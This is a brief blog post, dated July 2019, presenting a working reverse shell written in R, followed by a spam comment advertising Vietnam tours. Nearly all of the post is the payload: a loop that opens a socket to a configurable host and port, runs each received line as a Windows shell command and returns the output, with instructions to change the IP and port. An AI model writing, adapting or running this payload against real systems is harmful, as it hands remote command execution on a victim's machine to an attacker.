Saturday, July 13, 2019

Reverse Shell in 'R'

By underwhelming popular demand, here's a reverse shell for the 'R' language. Change IP address, port and also "cmd /c" if you're not running on Windows.

I may have stolen this off someone, but I can't find it now; many apologies if so.

See also https://www.rapid7.com/db/modules/payload/r/shell_reverse_tcp


client <- function(){
  while(TRUE){
    con <- socketConnection(host="127.0.0.1", port = 1234, blocking=TRUE, server=FALSE, open="r+")
    while (TRUE){
      sendme <- readLines(con, n=1)
      output <- system(paste0("cmd /c ",sendme), TRUE)
      write_resp <- writeLines(output, con)
    }
    close(con)
 }
}
client()

1 comment:

  1. From bottom of my heart, I have to say I really love your post. I learnt new things and information from your article.You have done a brilliant job. Let’s keep it up.

    Central Vietnam Package Tour.
    Phong Nha Pioneer Travel
    Central Vietnam Package Tour
    Viet Tours
    My Son Tours
    Hoi An Eco Tour


    ReplyDelete